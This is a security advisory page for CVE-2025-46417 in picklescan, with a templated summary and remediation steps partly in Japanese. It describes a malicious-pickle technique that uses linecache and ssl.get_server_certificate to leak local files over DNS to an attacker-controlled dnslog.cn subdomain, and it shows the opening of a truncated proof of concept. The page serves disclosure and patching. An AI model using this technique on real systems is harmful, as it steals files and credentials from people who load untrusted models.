Vulnerability in picklescan (CVE-2025-46417)
Summary
Vulnerability in picklescan (CVE-2025-46417). Risk of unauthorized operations or information disclosure. Exploitable via ssl.get_server_certificate. Mitigation: upgrade to 0.0.25 or later.
Original description
The description as published by the source.
Summary
Picklescan does not detect malicious pickles that exfiltrate sensitive information via DNS after deserialization.
Details
picklescan’s blacklist can be bypassed to exfiltrate sensitive information (like file contents, secrets, or credentials) during model deserialization by leveraging ssl.get_server_certificate as the callable function in the pickle payload. Since ssl is a standard Python library used for legitimate TLS operations, it is rarely blacklisted by static scanners or runtime monitors.
The payload avoids flagged modules and instead uses linecache (also unflagged) to read local files. The exfiltrated data is added to DNS-safe chunks, and embedded as subdomains in a crafted FQDN. When passed to ssl.get_server_certificate, the Python runtime performs a DNS resolution to the attacker-controlled domain, leaking the encoded content.
The payload executes the following steps:
- Reads sensitive local file content using
linecachemodule - Encodes the data for DNS exfiltration
- Constructs a malicious domain name using a third party service
dnslog.cn - Triggers a DNS resolution via
ssl.get_server_certificate - Leaks the encoded file content to the attacker
PoC
Before running the PoC change the fqdn to your own or a third party that you control. In this PoC we used fqdn = f"{subdomain}.ctmc2q.dnslog.cn".
import numpy as np
def create_malicious_model():
# Define the payload class
class DNSLogPayload:
def _…
Source: OSV.dev (Open Source Vulnerabilities) NVD GitHub Advisory OSV
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2025-46417 has been found in picklescan.
Attackers can target a specific entry point like ssl.get_server_certificate over the network to misuse the product.
Risk of unauthorized operations or information disclosure.
What to do: upgrade picklescan to 0.0.25 or later.
If unsure, ask your IT team or search "picklescan CVE-2025-46417" on the vendor's site.
CVE-2025-46417 (picklescan) — CWE-184
Attack surface: ssl.get_server_certificate / ssl / linecache / dnslog.cn
Patched: 0.0.25 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
A vulnerability (CWE-184) exists in picklescan. Attackers reach the vulnerable code path via ssl.get_server_certificate.
Check the vendor advisory for the affected versions of picklescan. Attack surface: ssl.get_server_certificate / ssl / linecache / dnslog.cn.
Severity: ?. Risk of unauthorized operations or information disclosure.
Update to 0.0.25.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'picklescan' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1Identify exposure identify
grep -r 'picklescan' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
picklescanを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply patch patch
Upgrade picklescan to 0.0.25ステージング環境で 0.0.25 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
References
- advisory nvd.nist.gov
- package github.com
- web github.com
- web github.com
- web github.com